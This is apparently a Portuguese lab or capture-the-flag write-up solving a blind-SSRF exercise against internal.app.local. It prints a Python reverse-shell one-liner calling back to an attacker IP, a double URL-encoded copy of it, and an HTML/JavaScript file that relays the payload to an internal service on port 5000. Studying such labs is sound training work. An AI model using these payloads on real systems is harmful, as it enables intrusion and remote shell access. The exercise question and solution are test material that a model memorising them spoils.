Question-1

O alvo é vulnerável ao SSRF cego. Aproveite essa vulnerabilidade SSRF cega para interagir com internal.app.local e obter execução remota de código no serviço interno que escuta na porta 5000, como você fez na seção anterior. Envie o número da versão do kernel como sua resposta (formato de resposta: XXX-XX)

Demos uma olhada no site, e notamos que é possivel fazer upload de arquivo

O site é vulneravel ao SSRF blind, então carregamos um shell

Bash Reverse Shell

export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Precisamos codificar nossa carga útil por URL.

export%2520RHOST%253D%252210.10.16.90%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527

Agora, vamos criar um arquivo HTML que executa uma solicitação GET para internal.app.local, alcança o aplicativo local vulnerável à execução remota de código via SSRF e executa nosso shell reverso.

<html>
    <body>
        <b>Reverse Shell via Blind SSRF</b>
        <script>
        var http = new XMLHttpRequest();
        http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.16.90%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true); 
        http.send();
        http.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
    </body>
</html>

Assim que iniciarmos um ouvinte Netcat em nossa máquina e enviarmos o arquivo HTML acima, receberemos um shell reverso vindo de internal.app.local.

Last updated